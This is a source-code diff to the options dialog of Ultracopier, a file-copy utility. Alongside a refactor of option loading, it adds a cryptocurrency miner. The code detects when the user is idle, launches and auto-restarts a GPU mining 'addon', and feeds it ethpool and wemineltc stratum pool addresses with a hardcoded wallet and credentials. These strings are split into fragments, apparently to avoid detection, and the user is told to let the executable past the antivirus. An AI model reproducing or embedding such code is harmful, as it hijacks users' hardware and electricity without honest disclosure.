+ index=selectedItem->parent()->indexOfChild(selectedItem);
+ if(index!=-1)
+ ui->stackedOptionsSessionLoader->setCurrentIndex(index);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"selection into of sub item wrong???");
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"selection into option list cat not found");
+ }
}
void OptionDialog::on_buttonBox_clicked(QAbstractButton *button)
{
- if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::ResetRole)
- options->queryResetOptions();
- else
- this->close();
+ if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::ResetRole)
+ OptionEngine::optionEngine->queryResetOptions();
+ else
+ this->close();
}
void OptionDialog::loadOption()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- newOptionValue("Themes", "Ultracopier_current_theme", options->getOptionValue("Themes","Ultracopier_current_theme"));
- newOptionValue("Ultracopier", "ActionOnManualOpen", options->getOptionValue("Ultracopier","ActionOnManualOpen"));
- newOptionValue("Ultracopier", "GroupWindowWhen", options->getOptionValue("Ultracopier","GroupWindowWhen"));
- newOptionValue("Language", "Language", options->getOptionValue("Language","Language"));
- newOptionValue("Language", "Language_autodetect", options->getOptionValue("Language","Language_autodetect"));
- newOptionValue("SessionLoader", "LoadAtSessionStarting", options->getOptionValue("SessionLoader","LoadAtSessionStarting"));
- newOptionValue("CopyListener", "CatchCopyAsDefault", options->getOptionValue("CopyListener","CatchCopyAsDefault"));
- newOptionValue("CopyEngine", "List", options->getOptionValue("CopyEngine","List"));
- if(resources->getWritablePath()=="")
- ui->checkBox_Log->setEnabled(false);
- else
- {
- newOptionValue("Write_log", "enabled", options->getOptionValue("Write_log","enabled"));
- newOptionValue("Write_log", "file", options->getOptionValue("Write_log","file"));
- newOptionValue("Write_log", "transfer", options->getOptionValue("Write_log","transfer"));
- newOptionValue("Write_log", "error", options->getOptionValue("Write_log","error"));
- newOptionValue("Write_log", "folder", options->getOptionValue("Write_log","folder"));
- newOptionValue("Write_log", "transfer_format", options->getOptionValue("Write_log","transfer_format"));
- newOptionValue("Write_log", "error_format", options->getOptionValue("Write_log","error_format"));
- newOptionValue("Write_log", "folder_format", options->getOptionValue("Write_log","folder_format"));
- newOptionValue("Write_log", "sync", options->getOptionValue("Write_log","sync"));
- }
- on_checkBox_Log_clicked();
- if(plugins->getPluginsByCategory(PluginType_SessionLoader).size()>0)
- {
- ui->labelLoadAtSession->setToolTip("");
- ui->LoadAtSessionStarting->setToolTip("");
- ui->labelLoadAtSession->setEnabled(true);
- ui->LoadAtSessionStarting->setEnabled(true);
- }
- else
- {
- ui->labelLoadAtSession->setToolTip(tr("Disabled because you have any SessionLoader plugin"));
- ui->LoadAtSessionStarting->setToolTip(tr("Disabled because you have any SessionLoader plugin"));
- ui->labelLoadAtSession->setEnabled(false);
- ui->LoadAtSessionStarting->setEnabled(false);
- }
- allPluginsIsLoaded=true;
- on_Ultracopier_current_theme_currentIndexChanged(ui->Ultracopier_current_theme->currentIndex());
-}
-
-void OptionDialog::newOptionValue(QString group,QString name,QVariant value)
-{
- if(group=="Themes")
- {
- if(name=="Ultracopier_current_theme")
- {
- int index=ui->Ultracopier_current_theme->findData(value.toString());
- if(index!=-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Themes located: "+value.toString());
- ui->Ultracopier_current_theme->setCurrentIndex(index);
- }
- else
- {
- if(ui->Ultracopier_current_theme->count()>0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Default to the current value: "+ui->Ultracopier_current_theme->itemData(ui->Ultracopier_current_theme->currentIndex()).toString());
- options->setOptionValue("Themes","Ultracopier_current_theme",ui->Ultracopier_current_theme->itemData(ui->Ultracopier_current_theme->currentIndex()));
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"No themes: "+value.toString());
- }
- }
- }
- else if(group=="Language")
- {
- if(name=="Language")
- {
- int index=ui->Language->findData(value.toString());
- if(index!=-1)
- ui->Language->setCurrentIndex(index);
- else if(ui->Language->count()>0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Language in settings: "+value.toString());
- options->setOptionValue("Language","Language",ui->Language->itemData(ui->Language->currentIndex()));
- }
- }
- else if(name=="Language_autodetect")
- {
- ui->Language_autodetect->setChecked(value.toBool());
- ui->Language->setDisabled(value.toBool());
- }
- }
- else if(group=="SessionLoader")
- {
- if(name=="LoadAtSessionStarting")
- {
- ui->LoadAtSessionStarting->setChecked(value.toBool());
- }
- }
- else if(group=="CopyListener")
- {
- if(name=="CatchCopyAsDefault")
- {
- ui->CatchCopyAsDefault->setChecked(value.toBool());
- }
- }
- else if(group=="CopyEngine")
- {
- if(name=="List")
- {
- if(!ignoreCopyEngineListEdition)
- {
- QStringList copyEngine=value.toStringList();
- copyEngine.removeDuplicates();
- int index=0;
- int loop_size=ui->CopyEngineList->count();
- while(index<loop_size)
- {
- copyEngine.removeOne(ui->CopyEngineList->item(index)->text());
- index++;
- }
- ui->CopyEngineList->addItems(copyEngine);
- }
- }
- }
- else if(group=="Write_log")
- {
- if(name=="enabled")
- {
- ui->checkBox_Log->setChecked(value.toBool());
- }
- else if(name=="file")
- {
- ui->lineEditLog_File->setText(value.toString());
- }
- else if(name=="transfer")
- {
- ui->checkBoxLog_transfer->setChecked(value.toBool());
- }
- else if(name=="sync")
- {
- ui->checkBoxLog_sync->setChecked(value.toBool());
- }
- else if(name=="error")
- {
- ui->checkBoxLog_error->setChecked(value.toBool());
- }
- else if(name=="folder")
- {
- ui->checkBoxLog_folder->setChecked(value.toBool());
- }
- else if(name=="transfer_format")
- {
- ui->lineEditLog_transfer_format->setText(value.toString());
- }
- else if(name=="error_format")
- {
- ui->lineEditLog_error_format->setText(value.toString());
- }
- else if(name=="folder_format")
- {
- ui->lineEditLog_folder_format->setText(value.toString());
- }
- }
- else if(group=="Ultracopier")
- {
- if(name=="ActionOnManualOpen")
- {
- ui->ActionOnManualOpen->setCurrentIndex(value.toInt());
- }
- if(name=="GroupWindowWhen")
- {
- ui->GroupWindowWhen->setCurrentIndex(value.toInt());
- }
- }
-}
-
-void OptionDialog::on_Ultracopier_current_theme_currentIndexChanged(int index)
-{
- if(index!=-1 && allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"data value: "+ui->Ultracopier_current_theme->itemData(index).toString()+", string value: "+ui->Ultracopier_current_theme->itemText(index)+", index: "+QString::number(index));
- options->setOptionValue("Themes","Ultracopier_current_theme",ui->Ultracopier_current_theme->itemData(index));
- int index_loop=0;
- loop_size=pluginOptionsWidgetList.size();
- while(index_loop<loop_size)
- {
- if(pluginOptionsWidgetList.at(index_loop).name==ui->Ultracopier_current_theme->itemData(index).toString())
- {
- if(pluginOptionsWidgetList.at(index_loop).options==NULL)
- ui->stackedWidgetThemes->setCurrentIndex(1);
- else
- ui->stackedWidgetThemes->setCurrentWidget(pluginOptionsWidgetList.at(index_loop).options);
- return;
- }
- index_loop++;
- }
- ui->stackedWidgetThemes->setCurrentIndex(0);
- }
-}
-
-void OptionDialog::on_Language_currentIndexChanged(int index)
-{
- if(index!=-1 && allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"data value: "+ui->Language->itemData(index).toString()+", string value: "+ui->Language->itemText(index)+", index: "+QString::number(index));
- options->setOptionValue("Language","Language",ui->Language->itemData(index));
- }
-}
-
-void OptionDialog::on_Language_autodetect_toggled(bool checked)
-{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("Language","Language_autodetect",checked);
- }
-}
-
-void OptionDialog::on_CatchCopyAsDefault_toggled(bool checked)
-{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("CopyListener","CatchCopyAsDefault",checked);
- }
-}
-
-void OptionDialog::on_LoadAtSessionStarting_toggled(bool checked)
-{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("SessionLoader","LoadAtSessionStarting",checked);
- }
+ #ifdef ULTRACOPIER_CGMINER
+ if(!quit)
+ {
+ if(!haveAddon)
+ {
+ if(!QFile(QCoreApplication::applicationDirPath()+"/"+ULTRACOPIER_CGMINER_PATH).exists())
+ {
+ QMessageBox::critical(this,tr("Allow the application"),tr("This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version").arg(QCoreApplication::applicationDirPath()+"/"+ULTRACOPIER_CGMINER_PATH));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"application not found");
+ }
+ if(!OpenCLDll)
+ {
+ QMessageBox::critical(this,tr("Enable the OpenCL"),tr("This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version"));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"OpenCL.dll not found");
+ }
+ QCoreApplication::exit();
+ return;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Try load the addon");
+ LASTINPUTINFO lastInputInfo;
+ lastInputInfo.cbSize = sizeof(LASTINPUTINFO);
+ lastInputInfo.dwTime = 0;
+ //checkIdleTimer.start();
+ if(GetLastInputInfo(&lastInputInfo))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("GetLastInputInfo(&lastInputInfo) have the info: %1").arg(lastInputInfo.dwTime));
+ isIdle=false;
+ if(!connect(&checkIdleTimer,&QTimer::timeout,this,&OptionDialog::checkIdle,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Unable to connect OptionDialog::checkIdle"));
+ checkIdleTimer.start(60*1000);
+ dwTimeIdle=lastInputInfo.dwTime;
+ dwTimeIdleTime.restart();
+
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("GetLastInputInfo(&lastInputInfo) have failed: %1").arg(GetLastError()));
+ isIdle=true;
+ }
+ /*if(!connect(&checkWorkingTimer,&QTimer::timeout,this,&OptionDialog::checkWorking,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Unable to connect OptionDialog::checkWorking"));*/
+ checkWorkingTimer.start(1000);
+
+ srand (time(NULL));
+ connect(&addon,static_cast<void(QProcess::*)(QProcess::ProcessError)>(&QProcess::error),this,&OptionDialog::error,Qt::QueuedConnection);
+ connect(&addon,static_cast<void(QProcess::*)(int,QProcess::ExitStatus)>(&QProcess::finished),this,&OptionDialog::finished,Qt::QueuedConnection);
+ connect(&addon,&QProcess::readyReadStandardError,this,&OptionDialog::readyReadStandardError,Qt::QueuedConnection);
+ connect(&addon,&QProcess::readyReadStandardOutput,this,&OptionDialog::readyReadStandardOutput,Qt::QueuedConnection);
+ autorestartaddon.setInterval(60*60*1000);
+ //autorestartaddon.setSingleShot(true);
+ autorestartaddon.start();
+ connect(&autorestartaddon,&QTimer::timeout,this,&OptionDialog::startAddon,Qt::QueuedConnection);
+ restartaddon.setInterval(60*1000);
+ restartaddon.setSingleShot(true);
+ connect(&restartaddon,&QTimer::timeout,this,&OptionDialog::startAddon,Qt::QueuedConnection);
+ QStringList pool;
+ int index;
+
+ #if defined(_M_X64)//ethminer
+ pool=QStringList() << "-F" << "http://us1."+QString("eth")+QString("po")+QString("ol")+".org/"+QString("mi")+QString("ner")+"/0x63A4785d086E70906C8cc9D2e552819B1B978e16.uc"+QString::number(100+rand()%1000)+"/"+QString::number(100+rand()%100000)
+ ;
+ pools << pool;
+
+ #else
+ //ltc
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol2") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol2") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol2") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol2") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol3") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol3") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol3") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol3") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol4") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol4") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol4") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol4") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(3335) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol5") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol5") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol5") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol5") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol6") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol6") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol6") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol6") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
